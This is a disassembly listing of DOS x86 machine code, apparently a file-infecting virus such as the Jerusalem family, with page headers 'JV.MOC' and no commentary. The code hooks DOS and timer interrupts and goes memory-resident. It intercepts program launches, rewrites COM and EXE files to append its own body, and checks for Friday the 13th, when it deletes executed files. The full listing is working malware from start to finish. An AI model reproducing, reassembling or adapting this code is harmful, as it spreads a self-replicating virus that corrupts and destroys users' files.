0000:0043 0004 ADD [SI],AL
0000:0045 5F POP DI
0000:0046 0F POP CS
0000:0047 B400 MOV AH,00H
0000:0049 C1 RET ; INTRASEGMENT
0000:004A 0D00F0 X004A: OR AX,0F000H
0000:004D 06 PUSH ES
0000:004E 004D5A ADD [DI+05AH],CL
0000:0051 2000 AND [BX+SI],AL
0000:0053 1000 ADC [BX+SI],AL
0000:0055 1900 SBB [BX+SI],AX
0000:0057 0800 OR [BX+SI],AL
0000:0059 7500 JNZ X005B
0000:005B 7500 X005B: JNZ X005D
0000:005D 6901 X005D: JNS X0060
0000:005F 1007 ADC [BX],AL
0000:0061 8419 TEST BL,[BX+DI]
0000:0063 C500 LDS AX,[BX+SI]
0000:0065 6901 JNS X0068
0000:0067 1C00 SBB AL,00H
0000:0069 0000 ADD [BX+SI],AL
0000:006B 4C X006B: DEC SP
0000:006C B000 MOV AL,00H
0000:006E CD21 INT 021H
0000:0070 050020 ADD AX,02000H
0000:0073 0037 ADD [BX],DH
"JV.MOC" PAGE 0002
0000:0075 121C ADC BL,[SI]
0000:0077 0100 ADD [BX+SI],AX
0000:0079 0210 ADD DL,[BX+SI]
0000:007B 0010 ADD [BX+SI],DL
0000:007D 17 X007D: POP SS
0000:007E 0000 ADD [BX+SI],AL
0000:0080 53 PUSH BX
0000:0081 61E8 JNO X006B
0000:0083 38434F CMP [BP+DI+04FH],AL
0000:0086 4D DEC BP
0000:0087 4D DEC BP
0000:0088 41 INC CX
0000:0089 4E DEC SI
0000:008A 44 INC SP
0000:008B 2E43 INC BX
0000:008D 4F DEC DI
0000:008E 4D DEC BP
0000:008F 0100 ADD [BX+SI],AX
0000:0091 0000 ADD [BX+SI],AL
0000:0093 0000 ADD [BX+SI],AL
0000:0095 FC X0095: CLD
0000:0096 B4E0 MOV AH,0E0H
0000:0098 CD21 INT 021H
0000:009A 80FCE0 CMP AH,0E0H
0000:009D 7316 JAE X00B5
0000:009F 80FC03 CMP AH,03H
0000:00A2 7211 JB X00B5
0000:00A4 B4DD MOV AH,0DDH
0000:00A6 BF0001 MOV DI,0100H
0000:00A9 BE1007 MOV SI,0710H
0000:00AC 03F7 ADD SI,DI
0000:00AE 2E8B8D1100 MOV CX,CS:[DI+Y0011H]
0000:00B3 CD21 INT 021H
0000:00B5 8CC8 X00B5: MOV AX,CS
0000:00B7 051000 ADD AX,0010H
0000:00BA 8ED0 MOV SS,AX
0000:00BC BC0007 MOV SP,0700H
0000:00BF 50 PUSH AX
0000:00C0 B8C500 MOV AX,00C5H
0000:00C3 50 PUSH AX
0000:00C4 CB RET ; INTERSEGMENT
0000:00C5 FC X00C5: CLD
0000:00C6 06 PUSH ES
0000:00C7 2E8C063100 MOV CS:[Y0031H],ES
0000:00CC 2E8C063900 MOV CS:[Y0039H],ES
0000:00D1 2E8C063D00 MOV CS:[Y003DH],ES
0000:00D6 2E8C064100 MOV CS:[Y0041H],ES
0000:00DB 8CC0 MOV AX,ES
0000:00DD 051000 ADD AX,0010H
0000:00E0 2E01064900 ADD CS:[Y0049H],AX
0000:00E5 2E01064500 ADD CS:[Y0045H],AX
0000:00EA B4E0 MOV AH,0E0H
0000:00EC CD21 INT 021H
0000:00EE 80FCE0 CMP AH,0E0H
0000:00F1 7313 JAE X0106
0000:00F3 80FC03 CMP AH,03H
"JV.MOC" PAGE 0003
0000:00F6 07 POP ES
0000:00F7 2E8E164500 MOV SS,CS:[Y0045H]
0000:00FC 2E8B264300 MOV SP,CS:[Y0043H]
0000:0101 2EFF2E4700 JMP CS:[Y0047H]
0000:0106 33C0 X0106: XOR AX,AX
0000:0108 8EC0 MOV ES,AX
0000:010A 26A1FC03 MOV AX,ES:Y03FCH
0000:010E 2EA34B00 MOV CS:Y004BH,AX
0000:0112 26A0FE03 MOV AL,ES:Y03FEH
0000:0116 2EA24D00 MOV CS:Y004DH,AL
0000:011A 26C706FC03F3A5 MOV WORD PTR ES:[Y03FCH],0A5F3H
0000:0121 26C606FE03CB MOV BYTE PTR ES:[Y03FEH],0CBH
0000:0127 58 POP AX
0000:0128 051000 ADD AX,0010H
0000:012B 8EC0 MOV ES,AX
0000:012D 0E PUSH CS
0000:012E 1F POP DS
0000:012F B91007 MOV CX,0710H
0000:0132 D1E9 SHR CX,1
0000:0134 33F6 XOR SI,SI
0000:0136 8BFE MOV DI,SI
0000:0138 06 PUSH ES
0000:0139 B84201 MOV AX,0142H
0000:013C 50 PUSH AX
0000:013D EAFC030000 JMP X0000_03FC
0000:0142 8CC8 MOV AX,CS
0000:0144 8ED0 MOV SS,AX
0000:0146 BC0007 MOV SP,0700H
0000:0149 33C0 XOR AX,AX
0000:014B 8ED8 MOV DS,AX
0000:014D 2EA14B00 MOV AX,CS:Y004BH
0000:0151 A3FC03 MOV Y03FCH,AX
0000:0154 2EA04D00 MOV AL,CS:Y004DH
0000:0158 A2FE03 MOV Y03FEH,AL
0000:015B 8BDC MOV BX,SP
0000:015D B104 MOV CL,04H
0000:015F D3EB SHR BX,CL
0000:0161 83C310 ADD BX,0010H
0000:0164 2E891E3300 MOV CS:[Y0033H],BX
0000:0169 B44A MOV AH,04AH
0000:016B 2E8E063100 MOV ES,CS:[Y0031H]
0000:0170 CD21 INT 021H
0000:0172 B82135 MOV AX,03521H
0000:0175 CD21 INT 021H
0000:0177 2E891E1700 MOV CS:[Y0017H],BX
0000:017C 2E8C061900 MOV CS:[Y0019H],ES
0000:0181 0E PUSH CS
0000:0182 1F POP DS
0000:0183 BA5B02 MOV DX,025BH
0000:0186 B82125 MOV AX,02521H
0000:0189 CD21 INT 021H
0000:018B 8E063100 MOV ES,[Y0031H]
0000:018F 268E062C00 MOV ES,ES:[Y002CH]
0000:0194 33FF XOR DI,DI
0000:0196 B9FF7F MOV CX,07FFFH
0000:0199 32C0 XOR AL,AL
"JV.MOC" PAGE 0004
0000:019B F2AE X019B: REPNE SCASB
0000:019D 263805 CMP ES:[DI],AL
0000:01A0 E0F9 LOOPNZ X019B
0000:01A2 8BD7 MOV DX,DI
0000:01A4 83C203 ADD DX,0003H
0000:01A7 B8004B MOV AX,04B00H
0000:01AA 06 PUSH ES
0000:01AB 1F POP DS
0000:01AC 0E PUSH CS
0000:01AD 07 POP ES
0000:01AE BB3500 MOV BX,0035H
0000:01B1 1E PUSH DS
0000:01B2 06 PUSH ES
0000:01B3 50 PUSH AX
0000:01B4 53 PUSH BX
0000:01B5 51 PUSH CX
0000:01B6 52 PUSH DX
0000:01B7 B42A MOV AH,02AH
0000:01B9 CD21 INT 021H
0000:01BB 2EC6060E0000 MOV BYTE PTR CS:[Y000EH],00H
0000:01C1 81F9C307 CMP CX,07C3H
0000:01C5 7430 JZ X01F7
0000:01C7 3C05 CMP AL,05H
0000:01C9 750D JNZ X01D8
0000:01CB 80FA0D CMP DL,0DH
0000:01CE 7508 JNZ X01D8
0000:01D0 2EFE060E00 INC BYTE PTR CS:[Y000EH]
0000:01D5 EB20 JMP X01F7
0000:01D7 90 NOP
0000:01D8 B80835 X01D8: MOV AX,03508H
0000:01DB CD21 INT 021H
0000:01DD 2E891E1300 MOV CS:[Y0013H],BX
0000:01E2 2E8C061500 MOV CS:[Y0015H],ES
0000:01E7 0E PUSH CS
0000:01E8 1F POP DS
0000:01E9 C7061F00907E MOV WORD PTR [Y001FH],07E90H
0000:01EF B80825 MOV AX,02508H
0000:01F2 BA1E02 MOV DX,021EH
0000:01F5 CD21 INT 021H
0000:01F7 5A X01F7: POP DX
0000:01F8 59 POP CX
0000:01F9 5B POP BX
0000:01FA 58 POP AX
0000:01FB 07 POP ES
0000:01FC 1F POP DS
0000:01FD 9C PUSHF
0000:01FE 2EFF1E1700 CALL CS:[Y0017H]
0000:0203 1E PUSH DS
0000:0204 07 POP ES
0000:0205 B449 MOV AH,049H
0000:0207 CD21 INT 021H
0000:0209 B44D MOV AH,04DH
0000:020B CD21 INT 021H
0000:020D B431 MOV AH,031H
0000:020F BA0006 MOV DX,0600H
0000:0212 B104 MOV CL,04H
"JV.MOC" PAGE 0005
0000:0214 D3EA SHR DX,CL
0000:0216 83C210 ADD DX,0010H
0000:0219 CD21 INT 021H
0000:021B 32C0 XOR AL,AL
0000:021D CF IRET
0000:021E 2E833E1F0002 CMP WORD PTR CS:[Y001FH],0002H
0000:0224 7517 JNZ X023D
0000:0226 50 PUSH AX
0000:0227 53 PUSH BX
0000:0228 51 PUSH CX
0000:0229 52 PUSH DX
0000:022A 55 PUSH BP
0000:022B B80206 MOV AX,0602H
0000:022E B787 MOV BH,087H
0000:0230 B90505 MOV CX,0505H
0000:0233 BA1010 MOV DX,01010H
0000:0236 CD10 INT 010H
0000:0238 5D POP BP
0000:0239 5A POP DX
0000:023A 59 POP CX
0000:023B 5B POP BX
0000:023C 58 POP AX
0000:023D 2EFF0E1F00 X023D: DEC WORD PTR CS:[Y001FH]
0000:0242 7512 JNZ X0256
0000:0244 2EC7061F000100 MOV WORD PTR CS:[Y001FH],0001H
0000:024B 50 PUSH AX
0000:024C 51 PUSH CX
0000:024D 56 PUSH SI
0000:024E B90140 MOV CX,04001H
0000:0251 F3AC REPE LODSB
0000:0253 5E POP SI
0000:0254 59 POP CX
0000:0255 58 POP AX
0000:0256 2EFF2E1300 X0256: JMP CS:[Y0013H]
0000:025B 9C X025B: PUSHF
0000:025C 80FCE0 CMP AH,0E0H
0000:025F 7505 JNZ X0266
0000:0261 B80003 MOV AX,0300H
0000:0264 9D POPF
0000:0265 CF IRET
0000:0266 80FCDD X0266: CMP AH,0DDH
0000:0269 7413 JZ X027E
0000:026B 80FCDE CMP AH,0DEH
0000:026E 7428 JZ X0298
0000:0270 3D004B CMP AX,04B00H
0000:0273 7503 JNZ X0278
0000:0275 E9B400 JMP X032C
0000:0278 9D X0278: POPF
0000:0279 2EFF2E1700 JMP CS:[Y0017H]
0000:027E 58 X027E: POP AX
0000:027F 58 POP AX
0000:0280 B80001 MOV AX,0100H
0000:0283 2EA30A00 MOV CS:Y000AH,AX
0000:0287 58 POP AX
0000:0288 2EA30C00 MOV CS:Y000CH,AX
0000:028C F3A4 REPE MOVSB
"JV.MOC" PAGE 0006
0000:028E 9D POPF
0000:028F 2EA10F00 MOV AX,CS:Y000FH
0000:0293 2EFF2E0A00 JMP CS:[Y000AH]
0000:0298 83C406 X0298: ADD SP,0006H
0000:029B 9D POPF
0000:029C 8CC8 MOV AX,CS
0000:029E 8ED0 MOV SS,AX
0000:02A0 BC1007 MOV SP,0710H
0000:02A3 06 PUSH ES
0000:02A4 06 PUSH ES
0000:02A5 33FF XOR DI,DI
0000:02A7 0E PUSH CS
0000:02A8 07 POP ES
0000:02A9 B91000 MOV CX,0010H
0000:02AC 8BF3 MOV SI,BX
0000:02AE BF2100 MOV DI,0021H
0000:02B1 F3A4 REPE MOVSB
0000:02B3 8CD8 MOV AX,DS
0000:02B5 8EC0 MOV ES,AX
0000:02B7 2EF7267A00 MUL WORD PTR CS:[Y007AH]
0000:02BC 2E03062B00 ADD AX,CS:[Y002BH]
0000:02C1 83D200 ADC DX,0000H
0000:02C4 2EF7367A00 DIV WORD PTR CS:[Y007AH]
0000:02C9 8ED8 MOV DS,AX
0000:02CB 8BF2 MOV SI,DX
0000:02CD 8BFA MOV DI,DX
0000:02CF 8CC5 MOV BP,ES
0000:02D1 2E8B1E2F00 MOV BX,CS:[Y002FH]
0000:02D6 0BDB OR BX,BX
0000:02D8 7413 JZ X02ED
0000:02DA B90080 X02DA: MOV CX,08000H
0000:02DD F3A5 REPE MOVSW
0000:02DF 050010 ADD AX,01000H
0000:02E2 81C50010 ADD BP,01000H
0000:02E6 8ED8 MOV DS,AX
0000:02E8 8EC5 MOV ES,BP
0000:02EA 4B DEC BX
0000:02EB 75ED JNZ X02DA
0000:02ED 2E8B0E2D00 X02ED: MOV CX,CS:[Y002DH]
0000:02F2 F3A4 REPE MOVSB
0000:02F4 58 POP AX
0000:02F5 50 PUSH AX
0000:02F6 051000 ADD AX,0010H
0000:02F9 2E01062900 ADD CS:[Y0029H],AX
0000:02FE 2E01062500 ADD CS:[Y0025H],AX
0000:0303 2EA12100 MOV AX,CS:Y0021H
0000:0307 1F POP DS
0000:0308 07 POP ES
0000:0309 2E8E162900 MOV SS,CS:[Y0029H]
0000:030E 2E8B262700 MOV SP,CS:[Y0027H]
0000:0313 2EFF2E2300 JMP CS:[Y0023H]
0000:0318 33C9 X0318: XOR CX,CX
0000:031A B80143 MOV AX,04301H
0000:031D CD21 INT 021H
0000:031F B441 MOV AH,041H
0000:0321 CD21 INT 021H
"JV.MOC" PAGE 0007
0000:0323 B8004B MOV AX,04B00H
0000:0326 9D POPF
0000:0327 2EFF2E1700 JMP CS:[Y0017H]
0000:032C 2E803E0E0001 X032C: CMP BYTE PTR CS:[Y000EH],01H
0000:0332 74E4 JZ X0318
0000:0334 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH
0000:033B 2EC7068F000000 MOV WORD PTR CS:[Y008FH],0000H
0000:0342 2E89168000 MOV CS:[Y0080H],DX
0000:0347 2E8C1E8200 MOV CS:[Y0082H],DS
0000:034C 50 PUSH AX
0000:034D 53 PUSH BX
0000:034E 51 PUSH CX
0000:034F 52 PUSH DX
0000:0350 56 PUSH SI
0000:0351 57 PUSH DI
0000:0352 1E PUSH DS
0000:0353 06 PUSH ES
0000:0354 FC CLD
0000:0355 8BFA MOV DI,DX
0000:0357 32D2 XOR DL,DL
0000:0359 807D013A CMP BYTE PTR [DI+01H],03AH
0000:035D 7505 JNZ X0364
0000:035F 8A15 MOV DL,[DI]
0000:0361 80E21F AND DL,01FH
0000:0364 B436 X0364: MOV AH,036H
0000:0366 CD21 INT 021H
0000:0368 3DFFFF CMP AX,0FFFFH
0000:036B 7503 JNZ X0370
0000:036D E97702 X036D: JMP X05E7
0000:0370 F7E3 X0370: MUL BX
0000:0372 F7E1 MUL CX
0000:0374 0BD2 OR DX,DX
0000:0376 7505 JNZ X037D
0000:0378 3D1007 CMP AX,0710H
0000:037B 72F0 JB X036D
0000:037D 2E8B168000 X037D: MOV DX,CS:[Y0080H]
0000:0382 1E PUSH DS
0000:0383 07 POP ES
0000:0384 32C0 XOR AL,AL
0000:0386 B94100 MOV CX,0041H
0000:0389 F2AE REPNE SCASB
0000:038B 2E8B368000 MOV SI,CS:[Y0080H]
0000:0390 8A04 X0390: MOV AL,[SI]
0000:0392 0AC0 OR AL,AL
0000:0394 740E JZ X03A4
0000:0396 3C61 CMP AL,061H
0000:0398 7207 JB X03A1
0000:039A 3C7A CMP AL,07AH
0000:039C 7703 JA X03A1
0000:039E 802C20 SUB BYTE PTR [SI],020H
0000:03A1 46 X03A1: INC SI
0000:03A2 EBEC JMP X0390
0000:03A4 B90B00 X03A4: MOV CX,000BH
0000:03A7 2BF1 SUB SI,CX
0000:03A9 BF8400 MOV DI,0084H
0000:03AC 0E PUSH CS
"JV.MOC" PAGE 0008
0000:03AD 07 POP ES
0000:03AE B90B00 MOV CX,000BH
0000:03B1 F3A6 REPE CMPSB
0000:03B3 7503 JNZ X03B8
0000:03B5 E92F02 JMP X05E7
0000:03B8 B80043 X03B8: MOV AX,04300H
0000:03BB CD21 INT 021H
0000:03BD 7205 JB X03C4
0000:03BF 2E890E7200 MOV CS:[Y0072H],CX
0000:03C4 7225 X03C4: JB X03EB
0000:03C6 32C0 XOR AL,AL
0000:03C8 2EA24E00 MOV CS:Y004EH,AL
0000:03CC 1E PUSH DS
0000:03CD 07 POP ES
0000:03CE 8BFA MOV DI,DX
0000:03D0 B94100 MOV CX,0041H
0000:03D3 F2AE REPNE SCASB
0000:03D5 807DFE4D CMP BYTE PTR [DI-02H],04DH
0000:03D9 740B JZ X03E6
0000:03DB 807DFE6D CMP BYTE PTR [DI-02H],06DH
0000:03DF 7405 JZ X03E6
0000:03E1 2EFE064E00 INC BYTE PTR CS:[Y004EH]
0000:03E6 B8003D X03E6: MOV AX,03D00H
0000:03E9 CD21 INT 021H
0000:03EB 725A X03EB: JB X0447
0000:03ED 2EA37000 MOV CS:Y0070H,AX
0000:03F1 8BD8 MOV BX,AX
0000:03F3 B80242 MOV AX,04202H
0000:03F6 B9FFFF MOV CX,0FFFFH
0000:03F9 BAFBFF MOV DX,0FFFBH
0000:03FC CD21 X03FC: INT 021H
0000:03FE 72EB JB X03EB
0000:0400 050500 ADD AX,0005H
0000:0403 2EA31100 MOV CS:Y0011H,AX
0000:0407 B90500 MOV CX,0005H
0000:040A BA6B00 MOV DX,006BH
0000:040D 8CC8 MOV AX,CS
0000:040F 8ED8 MOV DS,AX
0000:0411 8EC0 MOV ES,AX
0000:0413 B43F MOV AH,03FH
0000:0415 CD21 INT 021H
0000:0417 8BFA MOV DI,DX
0000:0419 BE0500 MOV SI,0005H
0000:041C F3A6 REPE CMPSB
0000:041E 7507 JNZ X0427
0000:0420 B43E MOV AH,03EH
0000:0422 CD21 INT 021H
0000:0424 E9C001 JMP X05E7
0000:0427 B82435 X0427: MOV AX,03524H
0000:042A CD21 INT 021H
0000:042C 891E1B00 MOV [Y001BH],BX
0000:0430 8C061D00 MOV [Y001DH],ES
0000:0434 BA1B02 MOV DX,021BH
0000:0437 B82425 MOV AX,02524H
0000:043A CD21 INT 021H
0000:043C C5168000 LDS DX,[Y0080H]
"JV.MOC" PAGE 0009
0000:0440 33C9 XOR CX,CX
0000:0442 B80143 MOV AX,04301H
0000:0445 CD21 INT 021H
0000:0447 723B X0447: JB X0484
0000:0449 2E8B1E7000 MOV BX,CS:[Y0070H]
0000:044E B43E MOV AH,03EH
0000:0450 CD21 INT 021H
0000:0452 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH
0000:0459 B8023D MOV AX,03D02H
0000:045C CD21 INT 021H
0000:045E 7224 JB X0484
0000:0460 2EA37000 MOV CS:Y0070H,AX
0000:0464 8CC8 MOV AX,CS
0000:0466 8ED8 MOV DS,AX
0000:0468 8EC0 MOV ES,AX
0000:046A 8B1E7000 MOV BX,[Y0070H]
0000:046E B80057 MOV AX,05700H
0000:0471 CD21 INT 021H
0000:0473 89167400 MOV [Y0074H],DX
0000:0477 890E7600 MOV [Y0076H],CX
0000:047B B80042 MOV AX,04200H
0000:047E 33C9 XOR CX,CX
0000:0480 8BD1 MOV DX,CX
0000:0482 CD21 INT 021H
0000:0484 723D X0484: JB X04C3
0000:0486 803E4E0000 CMP BYTE PTR [Y004EH],00H
0000:048B 7403 JZ X0490
0000:048D EB57 JMP X04E6
0000:048F 90 NOP
0000:0490 BB0010 X0490: MOV BX,01000H
0000:0493 B448 MOV AH,048H
0000:0495 CD21 INT 021H
0000:0497 730B JAE X04A4
0000:0499 B43E MOV AH,03EH
0000:049B 8B1E7000 MOV BX,[Y0070H]
0000:049F CD21 INT 021H
0000:04A1 E94301 JMP X05E7
0000:04A4 FF068F00 X04A4: INC WORD PTR [Y008FH]
0000:04A8 8EC0 MOV ES,AX
0000:04AA 33F6 XOR SI,SI
0000:04AC 8BFE MOV DI,SI
0000:04AE B91007 MOV CX,0710H
0000:04B1 F3A4 REPE MOVSB
0000:04B3 8BD7 MOV DX,DI
0000:04B5 8B0E1100 MOV CX,[Y0011H]
0000:04B9 8B1E7000 MOV BX,[Y0070H]
0000:04BD 06 PUSH ES
0000:04BE 1F POP DS
0000:04BF B43F MOV AH,03FH
0000:04C1 CD21 INT 021H
0000:04C3 721C X04C3: JB X04E1
0000:04C5 03F9 ADD DI,CX
0000:04C7 33C9 XOR CX,CX
0000:04C9 8BD1 MOV DX,CX
0000:04CB B80042 MOV AX,04200H
0000:04CE CD21 INT 021H
"JV.MOC" PAGE 0010
0000:04D0 BE0500 MOV SI,0005H
0000:04D3 B90500 MOV CX,0005H
0000:04D6 F32EA4 REPE MOVS ES:BYTE PTR (DI),CS:BYTE PT
R (SI)
0000:04D9 8BCF MOV CX,DI
0000:04DB 33D2 XOR DX,DX
0000:04DD B440 MOV AH,040H
0000:04DF CD21 INT 021H
0000:04E1 720D X04E1: JB X04F0
0000:04E3 E9BC00 JMP X05A2
0000:04E6 B91C00 X04E6: MOV CX,001CH
0000:04E9 BA4F00 MOV DX,004FH
0000:04EC B43F MOV AH,03FH
0000:04EE CD21 INT 021H
0000:04F0 724A X04F0: JB X053C
0000:04F2 C70661008419 MOV WORD PTR [Y0061H],01984H
0000:04F8 A15D00 MOV AX,Y005DH
0000:04FB A34500 MOV Y0045H,AX
0000:04FE A15F00 MOV AX,Y005FH
0000:0501 A34300 MOV Y0043H,AX
0000:0504 A16300 MOV AX,Y0063H
0000:0507 A34700 MOV Y0047H,AX
0000:050A A16500 MOV AX,Y0065H
0000:050D A34900 MOV Y0049H,AX
0000:0510 A15300 MOV AX,Y0053H
0000:0513 833E510000 CMP WORD PTR [Y0051H],0000H
0000:0518 7401 JZ X051B
0000:051A 48 DEC AX
0000:051B F7267800 X051B: MUL WORD PTR [Y0078H]
0000:051F 03065100 ADD AX,[Y0051H]
0000:0523 83D200 ADC DX,0000H
0000:0526 050F00 ADD AX,000FH
0000:0529 83D200 ADC DX,0000H
0000:052C 25F0FF AND AX,0FFF0H
0000:052F A37C00 MOV Y007CH,AX
0000:0532 89167E00 MOV [Y007EH],DX
0000:0536 051007 ADD AX,0710H
0000:0539 83D200 ADC DX,0000H
0000:053C 723A X053C: JB X0578
0000:053E F7367800 DIV WORD PTR [Y0078H]
0000:0542 0BD2 OR DX,DX
0000:0544 7401 JZ X0547
0000:0546 40 INC AX
0000:0547 A35300 X0547: MOV Y0053H,AX
0000:054A 89165100 MOV [Y0051H],DX
0000:054E A17C00 MOV AX,Y007CH
0000:0551 8B167E00 MOV DX,[Y007EH]
0000:0555 F7367A00 DIV WORD PTR [Y007AH]
0000:0559 2B065700 SUB AX,[Y0057H]
0000:055D A36500 MOV Y0065H,AX
0000:0560 C7066300C500 MOV WORD PTR [Y0063H],00C5H
0000:0566 A35D00 MOV Y005DH,AX
0000:0569 C7065F001007 MOV WORD PTR [Y005FH],0710H
0000:056F 33C9 XOR CX,CX
0000:0571 8BD1 MOV DX,CX
0000:0573 B80042 MOV AX,04200H
0000:0576 CD21 INT 021H
"JV.MOC" PAGE 0011
0000:0578 720A X0578: JB X0584
0000:057A B91C00 MOV CX,001CH
0000:057D BA4F00 MOV DX,004FH
0000:0580 B440 MOV AH,040H
0000:0582 CD21 INT 021H
0000:0584 7211 X0584: JB X0597
0000:0586 3BC1 CMP AX,CX
0000:0588 7518 JNZ X05A2
0000:058A 8B167C00 MOV DX,[Y007CH]
0000:058E 8B0E7E00 MOV CX,[Y007EH]
0000:0592 B80042 MOV AX,04200H
0000:0595 CD21 INT 021H
0000:0597 7209 X0597: JB X05A2
0000:0599 33D2 XOR DX,DX
0000:059B B91007 MOV CX,0710H
0000:059E B440 MOV AH,040H
0000:05A0 CD21 INT 021H
0000:05A2 2E833E8F0000 X05A2: CMP WORD PTR CS:[Y008FH],0000H
0000:05A8 7404 JZ X05AE
0000:05AA B449 MOV AH,049H
0000:05AC CD21 INT 021H
0000:05AE 2E833E7000FF X05AE: CMP WORD PTR CS:[Y0070H],0FFFFH
0000:05B4 7431 JZ X05E7
0000:05B6 2E8B1E7000 MOV BX,CS:[Y0070H]
0000:05BB 2E8B167400 MOV DX,CS:[Y0074H]
0000:05C0 2E8B0E7600 MOV CX,CS:[Y0076H]
0000:05C5 B80157 MOV AX,05701H
0000:05C8 CD21 INT 021H
0000:05CA B43E MOV AH,03EH
0000:05CC CD21 INT 021H
0000:05CE 2EC5168000 LDS DX,CS:[Y0080H]
0000:05D3 2E8B0E7200 MOV CX,CS:[Y0072H]
0000:05D8 B80143 MOV AX,04301H
0000:05DB CD21 INT 021H
0000:05DD 2EC5161B00 LDS DX,CS:[Y001BH]
0000:05E2 B82425 MOV AX,02524H
0000:05E5 CD21 INT 021H
0000:05E7 07 X05E7: POP ES
0000:05E8 1F POP DS
0000:05E9 5F POP DI
0000:05EA 5E POP SI
0000:05EB 5A POP DX
0000:05EC 59 POP CX
0000:05ED 5B POP BX
0000:05EE 58 POP AX
0000:05EF 9D POPF
0000:05F0 2EFF2E1700 JMP CS:[Y0017H]
0000:05F5 0000 X05F5: ADD [BX+SI],AL
0000:05F7 0000 ADD [BX+SI],AL
0000:05F9 0000 ADD [BX+SI],AL
0000:05FB 0000 ADD [BX+SI],AL
0000:05FD 0000 ADD [BX+SI],AL
0000:05FF 004D00 ADD [DI+00H],CL
0000:0602 000F ADD [BX],CL
0000:0604 0000 ADD [BX+SI],AL
0000:0606 0000 ADD [BX+SI],AL
"JV.MOC" PAGE 0012
0000:0608 0000 ADD [BX+SI],AL
0000:060A 0000 ADD [BX+SI],AL
0000:060C 0000 ADD [BX+SI],AL
0000:060E 0000 ADD [BX+SI],AL
0000:0610 CD20 INT 020H
0000:0612 00A0009A ADD [BX+SI+Y09A00H],AH
0000:0616 F0FE1D LOCK CALL [DI] ; NOT VALID
0000:0619 F02F LOCK DAS
0000:061B 018E1E3C ADD [BP+Y03C1EH],CX
0000:061F 018E1EEB ADD [BP+Y0EB1EH],CX
0000:0623 048E ADD AL,08EH
0000:0625 1E PUSH DS
0000:0626 8E1EFFFF MOV DS,[Y0FFFFH]
0000:062A FFFF ??? DI
0000:062C FFFF ??? DI
0000:062E FFFF ??? DI
0000:0630 FFFF ??? DI
0000:0632 FFFF ??? DI
0000:0634 FFFF ??? DI
0000:0636 FFFF ??? DI
0000:0638 FFFF ??? DI
0000:063A FFFF ??? DI
0000:063C 7C1F JL X065D
0000:063E DE3E8D29 ESC 037H,[Y0298DH]
0000:0642 1400 ADC AL,00H
0000:0644 1800 SBB [BX+SI],AL
0000:0646 F1 DB 0F1H
0000:0647 1F POP DS
0000:0648 FFFF ??? DI
0000:064A FFFF ??? DI
0000:064C 0000 ADD [BX+SI],AL
0000:064E 0000 ADD [BX+SI],AL
0000:0650 0000 ADD [BX+SI],AL
0000:0652 0000 ADD [BX+SI],AL
0000:0654 0000 ADD [BX+SI],AL
0000:0656 0000 ADD [BX+SI],AL
0000:0658 0000 ADD [BX+SI],AL
0000:065A 0000 ADD [BX+SI],AL
0000:065C 0000 ADD [BX+SI],AL
0000:065E 0000 ADD [BX+SI],AL
0000:0660 CD21 INT 021H
0000:0662 CB RET ; INTERSEGMENT
0000:0663 0000 X0663: ADD [BX+SI],AL
0000:0665 0000 ADD [BX+SI],AL
0000:0667 0000 ADD [BX+SI],AL
0000:0669 0000 ADD [BX+SI],AL
0000:066B 0000 ADD [BX+SI],AL
0000:066D 2020 AND [BX+SI],AH
0000:066F 2020 AND [BX+SI],AH
0000:0671 2020 AND [BX+SI],AH
0000:0673 2020 AND [BX+SI],AH
0000:0675 2020 AND [BX+SI],AH
0000:0677 2000 AND [BX+SI],AL
0000:0679 0000 ADD [BX+SI],AL
0000:067B 0000 ADD [BX+SI],AL
0000:067D 2020 AND [BX+SI],AH
"JV.MOC" PAGE 0013
0000:067F 2020 AND [BX+SI],AH
0000:0681 2020 AND [BX+SI],AH
0000:0683 2020 AND [BX+SI],AH
0000:0685 2020 AND [BX+SI],AH
0000:0687 2000 AND [BX+SI],AL
0000:0689 0000 ADD [BX+SI],AL
0000:068B 0000 ADD [BX+SI],AL
0000:068D 0000 ADD [BX+SI],AL
0000:068F 0000 ADD [BX+SI],AL
0000:0691 0D6B6F OR AX,06F6BH
0000:0694 6465 JZ X06FB
0000:0696 6572 JNZ X070A
0000:0698 7A2E JPE X06C8
0000:069A 6578 JNZ X0714
0000:069C 6520 JNZ X06BE
0000:069E 613A JNO X06DA
0000:06A0 6B6F JPO X0711
0000:06A2 6465 JZ X0709
0000:06A4 6572 JNZ X0718
0000:06A6 2E6578 JNZ X0721
0000:06A9 650D JNZ X06B8
0000:06AB 0000 ADD [BX+SI],AL
0000:06AD 0000 ADD [BX+SI],AL
0000:06AF 0000 ADD [BX+SI],AL
0000:06B1 0000 ADD [BX+SI],AL
0000:06B3 0000 ADD [BX+SI],AL
0000:06B5 0000 ADD [BX+SI],AL
0000:06B7 0000 ADD [BX+SI],AL
0000:06B9 0000 ADD [BX+SI],AL
0000:06BB 0000 ADD [BX+SI],AL
0000:06BD 0000 ADD [BX+SI],AL
0000:06BF 0000 ADD [BX+SI],AL
0000:06C1 0000 ADD [BX+SI],AL
0000:06C3 0000 ADD [BX+SI],AL
0000:06C5 0000 ADD [BX+SI],AL
0000:06C7 0000 ADD [BX+SI],AL
0000:06C9 0000 ADD [BX+SI],AL
0000:06CB 0000 ADD [BX+SI],AL
0000:06CD 0000 ADD [BX+SI],AL
0000:06CF 0000 ADD [BX+SI],AL
0000:06D1 0000 ADD [BX+SI],AL
0000:06D3 0000 ADD [BX+SI],AL
0000:06D5 0000 ADD [BX+SI],AL
0000:06D7 0000 ADD [BX+SI],AL
0000:06D9 005718 ADD [BX+018H],DL
0000:06DC 0825 OR [DI],AH
0000:06DE A5 MOVSW
0000:06DF FEC5 INC CH
0000:06E1 07 POP ES
0000:06E2 1E PUSH DS
0000:06E3 0210 ADD DL,[BX+SI]
0000:06E5 07 POP ES
0000:06E6 57 PUSH DI
0000:06E7 18B10D47 SBB [BX+DI+Y0470DH],DH
0000:06EB 0104 ADD [SI],AX
0000:06ED 7F70 JG X075F
"JV.MOC" PAGE 0014
0000:06EF 0010 ADD [BX+SI],DL
0000:06F1 07 POP ES
0000:06F2 1D001C SBB AX,01C00H
0000:06F5 09A20D3D OR [BP+SI+Y03D0DH],SP
0000:06F9 0C1B OR AL,01BH
0000:06FB 02B10D02 X06FB: ADD DH,[BX+DI+Y020DH]
0000:06FF F24D REPNE DEC BP
0000:0701 360E PUSH CS
0000:0703 0300 ADD AX,[BX+SI]
0000:0705 0000 ADD [BX+SI],AL
0000:0707 00EE ADD DH,CH
